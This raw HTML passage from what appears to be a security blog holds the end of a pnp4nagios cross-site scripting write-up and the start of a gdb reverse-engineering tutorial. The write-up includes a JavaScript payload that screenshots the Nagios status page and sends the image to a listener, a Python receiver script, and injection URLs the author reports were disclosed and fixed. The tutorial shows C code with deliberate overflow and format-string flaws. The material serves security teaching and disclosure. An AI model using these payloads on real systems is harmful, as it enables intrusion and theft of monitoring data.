span class="code-line" span class="nx"r/spanspan class="p"();/span/span
span class="code-line"span class="p"};/span/span
span class="code-line"span class="nb"window/spanspan class="p"./spanspan class="nx"stop/spanspan class="p"();/span/span
span class="code-line"span class="nx"f/span span class="o"=/span span class="nx"d/spanspan class="p"./spanspan class="nx"createElement/spanspan class="p"(/spanspan class="s1"#39;iframe#39;/spanspan class="p");/span/span
span class="code-line"span class="nx"f/spanspan class="p"./spanspan class="nx"src/span span class="o"=/span span class="s1"#39;/nagios/cgi-bin/status.cgi?host=all#39;/spanspan class="p";/span/span
span class="code-line"span class="nx"f/spanspan class="p"./spanspan class="nx"style/span span class="o"=/span span class="s1"#39;border: 0; position:fixed; top:0; left:0; right:0;bottom:0; width:100%; height:100%#39;/spanspan class="p";/span/span
span class="code-line"span class="nx"f/spanspan class="p"./spanspan class="nx"scrolling/span span class="o"=/span span class="s1"#39;no#39;/spanspan class="p";/span/span
span class="code-line"span class="nx"f/spanspan class="p"./spanspan class="nx"id/span span class="o"=/span span class="s1"#39;e#39;/spanspan class="p";/span/span
span class="code-line"span class="nx"f/spanspan class="p"./spanspan class="nx"onload/span span class="o"=/span span class="kd"function/span span class="p"()/span span class="p"{/span/span
span class="code-line" span class="nx"html2canvas/spanspan class="p"(/spanspan class="nx"d/spanspan class="p"./spanspan class="nx"getElementsByTagName/spanspan class="p"(/spanspan class="s1"#39;iframe#39;/spanspan class="p")[/spanspan class="mf"0/spanspan class="p"]./spanspan class="nx"contentDocument/spanspan class="p"./spanspan class="nx"documentElement/spanspan class="p",/span span class="p"{/span/span
span class="code-line" span class="nx"onrendered/spanspan class="o":/span span class="kd"function/span span class="p"(/spanspan class="nx"canvas/spanspan class="p")/span span class="p"{/span/span
span class="code-line" span class="nx"q/span span class="o"=/span span class="ow"new/span span class="nx"XMLHttpRequest/spanspan class="p"();/span/span
span class="code-line" span class="nx"q/spanspan class="p"./spanspan class="nx"open/spanspan class="p"(/spanspan class="s1"#39;GET#39;/spanspan class="p",/span span class="s1"#39;http://localhost:9000/?image=#39;/span span class="o"+/span span class="nx"canvas/spanspan class="p"./spanspan class="nx"toDataURL/spanspan class="p"(),/span span class="kc"true/spanspan class="p");/span/span
span class="code-line" span class="nx"q/spanspan class="p"./spanspan class="nx"send/spanspan class="p"(/spanspan class="kc"null/spanspan class="p");/span/span
span class="code-line" span class="p"}/span/span
span class="code-line" span class="p"});/span/span
span class="code-line"span class="p"};/span/span
span class="code-line"span class="nx"s/span span class="o"=/span span class="nx"d/spanspan class="p"./spanspan class="nx"createElement/spanspan class="p"(/spanspan class="s1"#39;script#39;/spanspan class="p");/span/span
span class="code-line"span class="nx"s/spanspan class="p"./spanspan class="nx"src/span span class="o"=/span span class="s1"#39;http://html2canvas.hertzen.com/build/html2canvas.js#39;/spanspan class="p";/span/span
span class="code-line"span class="nx"d/spanspan class="p"./spanspan class="nx"body/spanspan class="p"./spanspan class="nx"appendChild/spanspan class="p"(/spanspan class="nx"s/spanspan class="p");/span/span
span class="code-line"span class="nx"d/spanspan class="p"./spanspan class="nx"body/spanspan class="p"./spanspan class="nx"appendChild/spanspan class="p"(/spanspan class="nx"f/spanspan class="p");/span/span
span class="code-line"/code/pre/div
/td/tr/table
pWe're nearly there. To automate the receiving of the image, I've written a python script:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="ch"#!/usr/bin/env python/span/span
span class="code-line"/span
span class="code-line"span class="kn"import/span span class="nn"SocketServer/spanspan class="o",/span span class="nn"base64/span/span
span class="code-line"/span
span class="code-line"span class="k"class/span span class="nc"H2CHandler/spanspan class="p"(/spanspan class="n"SocketServer/spanspan class="o"./spanspan class="n"BaseRequestHandler/spanspan class="p"):/span/span
span class="code-line" span class="k"def/span span class="nf"handle/spanspan class="p"(/spanspan class="bp"self/spanspan class="p"):/span/span
span class="code-line" span class="n"fulldata/span span class="o"=/span span class="s1"#39;#39;/span/span
span class="code-line" span class="n"data/span span class="o"=/span span class="s1"#39;dummy#39;/span/span
span class="code-line" span class="k"while/span span class="nb"len/spanspan class="p"(/spanspan class="n"data/spanspan class="p"):/span/span
span class="code-line" span class="n"data/span span class="o"=/span span class="bp"self/spanspan class="o"./spanspan class="n"request/spanspan class="o"./spanspan class="n"recv/spanspan class="p"(/spanspan class="mi"4096/spanspan class="p")/span/span
span class="code-line" span class="n"fulldata/span span class="o"+=/span span class="n"data/span/span
span class="code-line" span class="k"if/span span class="n"fulldata/spanspan class="o"./spanspan class="n"find/spanspan class="p"(/spanspan class="s1"#39;Host:#39;/spanspan class="p")/span span class="o"!=/span span class="o"-/spanspan class="mi"1/spanspan class="p":/span/span
span class="code-line" span class="k"break/span/span
span class="code-line" span class="nb"print/span span class="s1"#39;got image#39;/span/span
span class="code-line" span class="n"img/span span class="o"=/span span class="n"fulldata/spanspan class="o"./spanspan class="n"split/spanspan class="p"(/spanspan class="s1"#39;base64,#39;/spanspan class="p")[/spanspan class="mi"1/spanspan class="p"]/spanspan class="o"./spanspan class="n"split/spanspan class="p"(/spanspan class="s1"#39; #39;/spanspan class="p")[/spanspan class="mi"0/spanspan class="p"]/span/span
span class="code-line"/span
span class="code-line" span class="n"fd/span span class="o"=/span span class="nb"open/spanspan class="p"(/spanspan class="s2"quot;/tmp/imgs/test.pngquot;/spanspan class="p",/span span class="s2"quot;wquot;/spanspan class="p")/span/span
span class="code-line" span class="n"fd/spanspan class="o"./spanspan class="n"write/spanspan class="p"(/spanspan class="n"base64/spanspan class="o"./spanspan class="n"b64decode/spanspan class="p"(/spanspan class="n"img/spanspan class="p"))/span/span
span class="code-line" span class="n"fd/spanspan class="o"./spanspan class="n"close/spanspan class="p"()/span/span
span class="code-line"/span
span class="code-line"span class="n"serverAddr/span span class="o"=/span span class="p"(/spanspan class="s2"quot;0.0.0.0quot;/spanspan class="p",/span span class="mi"9000/spanspan class="p")/span/span
span class="code-line"/span
span class="code-line"span class="n"server/span span class="o"=/span span class="n"SocketServer/spanspan class="o"./spanspan class="n"TCPServer/spanspan class="p"(/spanspan class="n"serverAddr/spanspan class="p",/span span class="n"H2CHandler/spanspan class="p")/span/span
span class="code-line"/span
span class="code-line"span class="n"server/spanspan class="o"./spanspan class="n"serve_forever/spanspan class="p"()/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis script could be improved but it will serve our purpose right now./p
pIf you run our payload while this server is running an image like the following should be created in code/tmp/imgs/test.png/code:/p
pimg src="/assets/images/web-hacking/pnp4nagios-html2canvas.png" width="750"/p
h2Conclusion/h2
pNo user input should be trusted in any situation. All input should be properly sanitized and in regards to websites, if HTML is not needed (as in this case), it should not be allowed./p
pIn both of these cases, only numerical inputs should be allowed and everything else should be dropped./p
pHappy Hacking :-)/p
pstrongEDIT (2014-07-16):/strong/p
pOn the day I posted this (2014-07-04) I informed the developers incase I had found new vulnerabilities that they didn't already know about and wasn't mention in the post to the OSS-Security mailing list./p
pA bit of back and fourth went on (I installed their latest version from github) until it was clear that 2 of the 3 vulnerabilities I found were actually new:/p
pcodehttp://dev/pnp4nagios/zoom?host=localhostamp;srv=Current_Loadamp;view=0amp;source=0;%7D;alert%281%29;function%20r%28%29%7Bamp;end=1404503451amp;start=1404468087amp;graph_width=500amp;graph_height=100/code/p
pcodehttp://dev/pnp4nagios/zoom?host=localhostamp;srv=Current_Loadamp;view=0amp;source=0%22%3E%3Cimg%20src=F%20/**/onerror=%22alert%281%29%22%3Eamp;end=1404503451amp;start=1404468087amp;graph_width=500amp;graph_height=100/code/p
pThe second one here I dismissed in my post as probably the same as the previous 1 I had found but in fact it wasn't, the first 1 I found in the post above was already fixed./p
pSo the developers went away and fixed these 2 vulnerabilities on 2014-07-09, a href="https://github.com/lingej/pnp4nagios/commit/10000112eb87f23d136a121a8d49c6dcc3b1e82e" target="_blank"here/a are the commits./p
pSo I had another look and about an hour later I found another:/p
pcodehttp://dev/pnp4nagios/zoom?host=localhostamp;srv=_%22%3E%3Cimg%20src=B%20/**/onerror=%22alert%281%29%22%3E_amp;view=1amp;source=0amp;end=1404916359amp;start=1404826359/code/p
pAgain I informed the developer and it was fixed on 2014-07-12, a href="https://github.com/lingej/pnp4nagios/commit/25de355097b3cf5d82ed3b63d68faadad7084e15" target="_blank"here/a are the commits./p
pBefore I go into some of the protections that are commonly in place, I thought it would be best to show how to detect these 2 basic vulnerabilities using a href="https://en.wikipedia.org/wiki/Reverse_engineering" target="_blank"reverse engineering/a (as opposed to randomly a href="https://en.wikipedia.org/wiki/Fuzz_testing" target="_blank"fuzzing/a inputs as we did in parts a href="/x86-32-linux/2014/05/08/plain-buffer-overflow/"1/a, a href="/x86-32-linux/2014/05/20/plain-format-string-vulnerability/"2/a and a href="/x86-32-linux/2014/06/12/remote-exploitation/"3/a)./p
pReverse engineering (reversing) is an extremely powerful tool in the hackers arsenal and when there is no source code for the application that you are targeting nothing is better./p
!-- more --
pa href="https://en.wikipedia.org/wiki/Assembly_language" target="_blank"Assembly/a is the language of reversing and a a href="https://en.wikipedia.org/wiki/Debugger" target="_blank"debugger/a is the most important tool./p
pAssembly is essentially the language of the processor, the actual "machine code" that people think of what the computer deals with (whether viewed as binary or hex) is just a different representation of assembly language, so this is the lowest level programming language possible to those outside of processor firmware development./p
pA debugger is an application that allows you to view an applications a href="https://en.wikipedia.org/wiki/Virtual_memory" target="_blank"virtual memory segment/a as the application itself views it, as well as change the values in sections of memory or a href="https://en.wikipedia.org/wiki/Processor_register" target="_blank"CPU registers/a at run time./p
pAnother important feature of a debugger is the ability to set a href="https://en.wikipedia.org/wiki/Breakpoint" target="_blank"breakpoints/a so you can force the application to stop execution at a specific part of the application and view values or a href="https://en.wikipedia.org/wiki/Stepping_%28debugging%29" target="_blank"step through/a the application instruction by instruction./p
h2The App/h2
pWe will use the same basic application we used in parts a href="/x86-32-linux/2014/05/08/plain-buffer-overflow/"1/a and a href="/x86-32-linux/2014/05/20/plain-format-string-vulnerability/"2/a:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/span
span class="code-line"span class="normal"42/span/span
span class="code-line"span class="normal"43/span/span
span class="code-line"span class="normal"44/span/span
span class="code-line"span class="normal"45/span/span
span class="code-line"span class="normal"46/span/span
span class="code-line"span class="normal"47/span/span
span class="code-line"span class="normal"48/span/span
span class="code-line"span class="normal"49/span/span
span class="code-line"span class="normal"50/span/span
span class="code-line"span class="normal"51/span/span
span class="code-line"span class="normal"52/span/span
span class="code-line"span class="normal"53/span/span
span class="code-line"span class="normal"54/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdio.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;string.hgt;/spanspan class="cp"/span/span
span class="code-line"span class="cp"#include/spanspan class="w" /spanspan class="cpf"lt;stdlib.hgt;/spanspan class="cp"/span/span
span class="code-line"/span
span class="code-line"span class="cp"#define PASS quot;topsecretpasswordquot;/span/span
span class="code-line"/span
span class="code-line"span class="cp"#define SFILE quot;secret.txtquot;/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"checkpass/spanspan class="p"(/spanspan class="kt"char/spanspan class="w" /spanspan class="o"*/spanspan class="n"p/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"printfile/spanspan class="p"();/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"main/spanspan class="p"(/spanspan class="kt"int/spanspan class="w" /spanspan class="n"argc/spanspan class="p",/spanspan class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="o"**/spanspan class="n"argv/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"r/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"argc/spanspan class="w" /spanspan class="o"lt;/spanspan class="w" /spanspan class="mi"2/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Usage: quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="n"argv/spanspan class="p"[/spanspan class="mi"0/spanspan class="p"]);/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot; lt;passwordgt;/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"r/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"checkpass/spanspan class="p"(/spanspan class="n"argv/spanspan class="p"[/spanspan class="mi"1/spanspan class="p"]);/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"r/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="mi"0/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Wrong password: quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="n"argv/spanspan class="p"[/spanspan class="mi"1/spanspan class="p"]);/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printfile/spanspan class="p"();/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"int/spanspan class="w" /spanspan class="nf"checkpass/spanspan class="p"(/spanspan class="kt"char/spanspan class="w" /spanspan class="o"*/spanspan class="n"a/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"char/spanspan class="w" /spanspan class="n"p/spanspan class="p"[/spanspan class="mi"512/spanspan class="p"];/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"r/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"strncpy/spanspan class="p"(/spanspan class="n"p/spanspan class="p",/spanspan class="w" /spanspan class="n"a/spanspan class="p",/spanspan class="w" /spanspan class="n"strlen/spanspan class="p"(/spanspan class="n"a/spanspan class="p")/spanspan class="o"+/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"r/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"strcmp/spanspan class="p"(/spanspan class="n"p/spanspan class="p",/spanspan class="w" /spanspan class="n"PASS/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"return/spanspan class="w" /spanspan class="n"r/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/span
span class="code-line"span class="kt"void/spanspan class="w" /spanspan class="nf"printfile/spanspan class="p"()/spanspan class="w"/span/span
span class="code-line"span class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"FILE/spanspan class="w" /spanspan class="o"*/spanspan class="n"f/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="kt"int/spanspan class="w" /spanspan class="n"c/spanspan class="p";/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"f/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"fopen/spanspan class="p"(/spanspan class="n"SFILE/spanspan class="p",/spanspan class="w" /spanspan class="s"quot;rquot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"if/spanspan class="w" /spanspan class="p"(/spanspan class="n"f/spanspan class="p")/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="k"while/spanspan class="w" /spanspan class="p"((/spanspan class="n"c/spanspan class="w" /spanspan class="o"=/spanspan class="w" /spanspan class="n"getc/spanspan class="p"(/spanspan class="n"f/spanspan class="p"))/spanspan class="w" /spanspan class="o"!=/spanspan class="w" /spanspan class="n"EOF/spanspan class="p")/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"putchar/spanspan class="p"(/spanspan class="n"c/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"fclose/spanspan class="p"(/spanspan class="n"f/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w" /spanspan class="k"else/spanspan class="w" /spanspan class="p"{/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"printf/spanspan class="p"(/spanspan class="s"quot;Error opening file: quot;/spanspan class="w" /spanspan class="n"SFILE/spanspan class="w" /spanspan class="s"quot;/spanspan class="se"\n/spanspan class="s"quot;/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="n"exit/spanspan class="p"(/spanspan class="mi"1/spanspan class="p");/spanspan class="w"/span/span
span class="code-line"span class="w" /spanspan class="p"}/spanspan class="w"/span/span
span class="code-line"span class="p"}/spanspan class="w"/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis time we will not exploit this application (we've done that already), instead we'll just use the debugger it figure out that these vulnerabilities exist./p
h2Setting Up The Environment/h2
pThis is the same as in part a href="/x86-32-linux/2014/05/08/plain-buffer-overflow/"1/a and a href="/x86-32-linux/2014/05/20/plain-format-string-vulnerability/"2/a so please refer to the strongSetting Up The Environment/strong section of 1 of those./p
h2Looking For The Juicy Bits/h2
pFirst we'll test the application as usual:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"testuser@dev:~$ /span./app/span
span class="code-line"span class="go"Usage: ./app lt;passwordgt;/span/span
span class="code-line"span class="gp"testuser@dev:~$ /span./app span class="nb"test/span/span
span class="code-line"span class="go"Wrong password: test/span/span
span class="code-line"span class="gp"testuser@dev:~$ echo $/span?/span
span class="code-line"span class="go"1/span/span
span class="code-line"/code/pre/div
/td/tr/table
pNothing unusual there but we now know that the application takes 1 argument. If we open this using codegdb/code we can have a closer look at it:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/span
span class="code-line"span class="normal"42/span/span
span class="code-line"span class="normal"43/span/span
span class="code-line"span class="normal"44/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp"testuser@dev:~$ /spangdb -q ./app/span
span class="code-line"span class="go"Reading symbols from /home/testuser/app...(no debugging symbols found)...done./span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"set disassembly-flavor intel/span/span
span class="code-line"span class="gp gp-VirtualEnv"(gdb)/span span class="go"info functions/span/span
span class="code-line"span class="go"All defined functions:/span/span
span class="code-line"/span
span class="code-line"span class="go"Non-debugging symbols:/span/span
span class="code-line"span class="go"0x0804842e _init/span/span
span class="code-line"span class="go"0x08048460 strcmp/span/span
span class="code-line"span class="go"0x08048460 strcmp@plt/span/span
span class="code-line"span class="go"0x08048470 printf/span/span
span class="code-line"span class="go"0x08048470 printf@plt/span/span
span class="code-line"span class="go"0x08048480 fclose/span/span
span class="code-line"span class="go"0x08048480 fclose@plt/span/span
span class="code-line"span class="go"0x08048490 _IO_getc/span/span
span class="code-line"span class="go"0x08048490 _IO_getc@plt/span/span
span class="code-line"span class="go"0x080484a0 puts/span/span
span class="code-line"span class="go"0x080484a0 puts@plt/span/span
span class="code-line"span class="go"0x080484b0 __gmon_start__/span/span
span class="code-line"span class="go"0x080484b0 __gmon_start__@plt/span/span
span class="code-line"span class="go"0x080484c0 exit/span/span
span class="code-line"span class="go"0x080484c0 exit@plt/span/span
span class="code-line"span class="go"0x080484d0 strlen/span/span
span class="code-line"span class="go"0x080484d0 strlen@plt/span/span
span class="code-line"span class="go"0x080484e0 __libc_start_main/span/span
span class="code-line"span class="go"0x080484e0 __libc_start_main@plt/span/span
span class="code-line"span class="go"0x080484f0 fopen/span/span
span class="code-line"span class="go"0x080484f0 fopen@plt/span/span
span class="code-line"span class="go"0x08048500 putchar/span/span
span class="code-line"span class="go"0x08048500 putchar@plt/span/span
span class="code-line"span class="go"0x08048510 strncpy/span/span
span class="code-line"span class="go"0x08048510 strncpy@plt/span/span
span class="code-line"span class="go"0x08048520 _start/span/span
span class="code-line"span class="go"0x08048550 deregister_tm_clones/span/span
span class="code-line"span class="go"0x08048580 register_tm_clones/span/span
span class="code-line"span class="go"0x080485c0 __do_global_dtors_aux/span/span
span class="code-line"span class="go"0x080485e0 frame_dummy/span/span
span class="code-line"span class="go"0x0804860c main/span/span
span class="code-line"span class="go"0x080486a2 checkpass/span/span
span class="code-line"span class="go"0x080486f0 printfile/span/span
span class="code-line"span class="go"0x08048760 __libc_csu_fini/span/span
span class="code-line"span class="go"0x08048770 __libc_csu_init/span/span
span class="code-line"span class="go"0x080487ca __i686.get_pc_thunk.bx/span/span
span class="code-line"span class="go"0x080487d0 _fini/span/span
span class="code-line"/code/pre/div
/td/tr/table
pHere we can tell that the application was written in a href="https://en.wikipedia.org/wiki/C_%28programming_language%29" target="_blank"C/a because it includes code__libc_start_main/code on lines 25 and 26. This means we have a codemain/code function which is the start of our application (shown on line 38)./p
pThere are a couple of other functions of interest here but let's leave them for a bit and look at the codemain/code function:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/span
span class="code-line"span class="normal"31/span/span
span class="code-line"span class="normal"32/span/span
span class="code-line"span class="normal"33/span/span
span class="code-line"span class="normal"34/span/span
span class="code-line"span class="normal"35/span/span
span class="code-line"span class="normal"36/span/span
span class="code-line"span class="normal"37/span/span
span class="code-line"span class="normal"38/span/span
span class="code-line"span class="normal"39/span/span
span class="code-line"span class="normal"40/span/span
span class="code-line"span class="normal"41/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="gp gp-VirtualEnv"(gdb)/span span class="go"disassemble main/span/span
span class="code-line"span class="go"Dump of assembler code for function main:/span/span
span class="code-line"span class="go" 0x0804860c lt;+0gt;: push ebp/span/span
span class="code-line"span class="go" 0x0804860d lt;+1gt;: mov ebp,esp/span/span
span class="code-line"span class="go" 0x0804860f lt;+3gt;: and esp,0xfffffff0/span/span
span class="code-line"span class="go" 0x08048612 lt;+6gt;: sub esp,0x20/span/span
span class="code-line"span class="go" 0x08048615 lt;+9gt;: cmp DWORD PTR [ebp+0x8],0x1/span/span
span class="code-line"span class="go" 0x08048619 lt;+13gt;: jg 0x804864c lt;main+64gt;/span/span
span class="code-line"span class="go" 0x0804861b lt;+15gt;: mov DWORD PTR [esp],0x80487f0/span/span
span class="code-line"span class="go" 0x08048622 lt;+22gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"span class="go" 0x08048627 lt;+27gt;: mov eax,DWORD PTR [ebp+0xc]/span/span
span class="code-line"span class="go" 0x0804862a lt;+30gt;: mov eax,DWORD PTR [eax]/span/span
span class="code-line"span class="go" 0x0804862c lt;+32gt;: mov DWORD PTR [esp],eax/span/span
span class="code-line"span class="go" 0x0804862f lt;+35gt;: call 0x8048470 lt;printf@pltgt;/span/span
span class="code-line"span class="go" 0x08048634 lt;+40gt;: mov DWORD PTR [esp],0x80487f8/span/span
